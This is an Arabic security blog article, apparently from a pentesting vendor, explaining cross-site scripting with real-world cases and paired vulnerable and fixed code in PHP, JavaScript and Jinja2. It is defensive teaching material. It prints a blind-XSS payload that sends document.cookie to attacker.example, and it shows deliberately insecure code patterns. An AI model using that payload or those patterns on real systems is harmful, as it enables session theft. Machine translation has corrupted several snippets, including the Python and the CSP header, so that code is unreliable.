رأس القلم
كالي
ل AMD64
ماك
ل ARM64
ماك
قريباً
النوافذ
قريباً

البرمجة النصية عبر المواقع (XSS): الاختراقات في العالم الحقيقي وأنماط الهجوم والدفاعات القوية

البرمجة النصية عبر المواقع (XSS) هي ثغرة في الويب حيث يقوم المهاجم بحقن شيفرة برمجية خبيثة، عادةً ما تكون JavaScript، في صفحات الويب التي يستعرضها المستخدمون الآخرون. تُنفَّذ التعليمات البرمجية المحقونة في متصفح الضحية ضمن سياق الموقع الموثوق به، مما يمكّن المهاجمين من سرقة ملفات تعريف الارتباط، أو اختطاف الجلسات، أو استخراج البيانات، أو تنفيذ إجراءات نيابةً عن المستخدمين.

لماذا لا تزال XSS مشكلة عالمية في عام 2025

استمرت XSS كواحدة من أكثر ثغرات الويب شيوعًا لعقود من الزمن. وقد اشتهرت لأول مرة على نطاق واسع في أواخر التسعينيات مع ظهور المحتوى الديناميكي والمدخلات التي ينشئها المستخدم على منصات الويب.

تؤكد الدراسات الاستقصائية الأخيرة أن XSS لا تزال تؤثر على تطبيقات الويب، خاصةً مع الأطر الحديثة، وواجهات برمجة التطبيقات، والعرض الديناميكي، والمحتوى النصي الغني، وعمليات التكامل مع أطراف ثالثة.

يظل أي تطبيق ويب يقبل مدخلات المستخدم - من التعليقات إلى واجهات برمجة التطبيقات JSON - دون تعقيم أو ترميز مناسب للإخراج معرضًا للخطر.

البرمجة النصية عبر المواقع (XSS)

أمثلة على اختراق XSS في العالم الحقيقي

ERPNext / Frappe - CVE-2025-56379 XSS المخزنة

في عام 2025، كشفت ERPNext/Frappe عن ثغرة XSS مخزنة في وحدة المدونة (الإصداران 15.67.0 / 15.72.4). يمكن للمستخدمين المصادق عليهم حقن HTML/JavaScript خبيثة في المحتوى المجال. يتم تنفيذ الحمولة في متصفحات المستخدمين الذين يشاهدون منشور المدونة، مما يعرضهم لخطر اختطاف الجلسة وسرقة البيانات.

هذا يدل على أنه حتى المنصات مفتوحة المصدر التي تتم صيانتها بشكل جيد تكون عرضة للخطر إذا تم عرض HTML من إنشاء المستخدم دون تعقيم مناسب.

حالة تاريخية: دودة سامي على ماي سبيس (2005)

استغلت دودة سامي XSS في الملفات الشخصية لمستخدمي MySpace. انتشر الفيروس إلى أكثر من مليون ملف شخصي في 20 ساعة، مما يوضح كيف يمكن لفيروس XSS الانتشار بسرعة واختطاف جلسات المستخدمين.

أنواع XSS ونواقل الهجوم XSS

يأتي XSS في عدة أشكال:

النوعالوصفناقل الهجوم النموذجي
انعكاس XSSتنعكس الحمولة على الفور من الطلب إلى الاستجابةمعلمات عنوان URL، حقول البحث
XSS المخزنةيتم تخزين الحمولة على الخادم وتنفيذها لاحقًاالتعليقات والمدونات وملفات تعريف المستخدمين
XSS المستندة إلى DOMالبرامج النصية من جانب العميل تحقن محتوى غير آمنتطبيقات الصفحة الواحدة، تجزئة عناوين URL، قوالب JS
XSS أعمىيتم تنفيذ الحمولة بدون ملاحظات فوريةلوحات تحكم المسؤول، والسجلات، ورسائل البريد الإلكتروني

تتضمن الهجمات الحديثة أيضًا حمولات متعددة اللغات قادرة على التهرب من أدوات التعقيم وإحداث حالات XSS عمياء. (arxiv.org)

عواقب هجمات XSS

  • اختطاف الجلسة والاستيلاء على الحساب
  • الإجراءات غير المصرح بها/انتحال شخصية المستخدم
  • سرقة البيانات/التعرض للمعلومات الحساسة
  • التشويه أو التصيد الاحتيالي أو الهندسة الاجتماعية
  • تسليم البرمجيات الخبيثة المستمرة

حتى تطبيقات الويب الصغيرة معرضة للخطر إذا كانت تعرض مدخلات المستخدم بشكل غير آمن.

أمثلة على الهجوم والدفاع

مثال 1 - XSS المنعكسة (PHP + HTML)

عرضة للخطر:

ص

<?php $search = $_GET['q'] ?? '';?><html> <body> <p>نتائج البحث: .</p> </body> </html>

إصدار أكثر أماناً:

ص

<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>نتائج البحث: .</p> </body> </html>

إصلاح XSS Penligent

مثال 2 - XSS مخزنة في التعليقات (جافا سكريبت + HTML)

التقديم الضعيف:

html

<div class="comments"><p class="user-comment">{{{comment_from_f_db}}</p></div>

التقديم الآمن باستخدام DOMPurify:

html

<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>

مثال 3 - XSS المستند إلى DOM عبر عنوان URL

عرضة للخطر:

جافا سكريبت

const msg = document.getElementById('msg')؛ msg.innerHTML = location.hash.substring(1);

آمنة:

جافا سكريبت

const msg = document.getElementById('msg')؛ msg.textContent = location.hash.substring(1);

مثال 4 - XSS أعمى / متأخر

حمولة الهجوم

html

<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">

الدفاع

  • تعقيم مدخلات HTML الخاصة بالمستخدم من جانب الخادم
  • تطبيق قائمة بيضاء صارمة لعلامات/سمات HTML
  • فرض سياسة أمان المحتوى (CSP)

بي جي إس كيو إس كيو إل

سياسة المحتوى-الأمان-المحتوى: افتراضي-المصدر "ذاتي"؛ نص-المصدر النصي "ذاتي"؛ كائن-المصدر "لا شيء"؛ قاعدة-وري "ذاتي"؛ إطار-المستشارين "لا شيء";

مثال 5 - حقن واجهة برمجة تطبيقات JSON (جافا سكريبت)

عرضة للخطر:

جافا سكريبت

fetch('/API/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; }));

آمنة:

جافا سكريبت

fetch('/API/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; }));

مثال 6 - حقن القالب (بايثون/جينجا2)

عرضة للخطر:

بايثون

من jinja2 استيراد قالب user_input = "{{7*7}}}"tpl = قالب (user_input) طباعة (tpl.render())

آمنة:

بايثون

من jinja2.sandbox.sandbox استيراد SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input) طباعة(tpl.render())

دروس العالم الحقيقي لـ XSS

دروس العالم الحقيقي من GitHub (2018)

كان GitHub يحتوي على XSS مخزن في عرض Markdown. حيث يمكن للمستخدمين إدراج كود JS في ملفات README؛ وأي زائر يفتح صفحة المستودع سينفذ الكود. قام GitHub بإصلاحه عن طريق تعقيم المدخلات وتقييد علامات HTML المسموح بها. (أمان GitHub)

دمج منع XSS في عمليات سير العمل الحديثة

  • ترميز المخرجات وتعقيمها عبر جميع السياقات: html، js، css، url
  • استخدام المطهرات الحديثة: تنقية DOMPurify، ومكتبات الهروب من جانب الخادم، ومحركات القوالب ذات الهروب التلقائي
  • تطبيق CSP:: منع البرامج النصية المضمنة وتقييد مصادر البرامج النصية
  • الاختبار الآلي:: التحليل الساكن، والمسح الديناميكي، والفحص الديناميكي، واختبارات XSS العمياء
  • اختبارات الاختراق اليدوية:: التحقق من صحة ناقلات الحقن المعقدة أو متعددة الخطوات
  • التدقيق والمراقبة:: تسجيل المدخلات المشبوهة، ومراجعة محتوى المسؤول/ الطرف الثالث، وفرض مراجعة الرموز

تكامل Penligent لاختبار XSS الآلي

يمكن لفرق الأمن الحديثة الاستفادة من منصات اختبار الاختراق الذكية مثل بنليجنت لأتمتة اكتشاف XSS عبر سياقات متعددة:

  • الفحص المستمر لنواقل XSS المنعكسة والمخزنة و DOM و XSS العمياء
  • حقن الحمولة والتحليل الآلي للحمولة
  • الإبلاغ واقتراحات الإصلاح
  • التكامل مع خطوط أنابيب CI/CD لسير عمل DevSecOps

باستخدام Penligent، تقلل الفرق من الجهد اليدوي وتحسّن التغطية وتضمن الحماية المستمرة ضد تهديدات XSS المتطورة.

الملخص

  • لا تزال ثغرة XSS من أهم ثغرات الويب على الرغم من الوعي بها منذ عقود.
  • يتطلب الدفاع تدابير متعددة الطبقات: الترميز، والتعقيم، و CSP، وواجهات برمجة التطبيقات الآمنة، والاختبار المستمر.
  • يوفر الاختبار الآلي واليدوي معاً حماية قوية، خاصة في التطبيقات الديناميكية الحديثة.
  • منصات ذكية مثل بنليجنت تحسين سير عمل الأمان، واكتشاف XSS والتخفيف من آثارها بشكل استباقي.

المراجع

ورقة الغش في الوقاية من XSS من OWASP

مستندات ويب MDN - نظرة عامة على XSS

ويكيبيديا - البرمجة النصية عبر المواقع

أبحاث XSS العمياء - arXiv 2025

شارك المنشور:
منشورات ذات صلة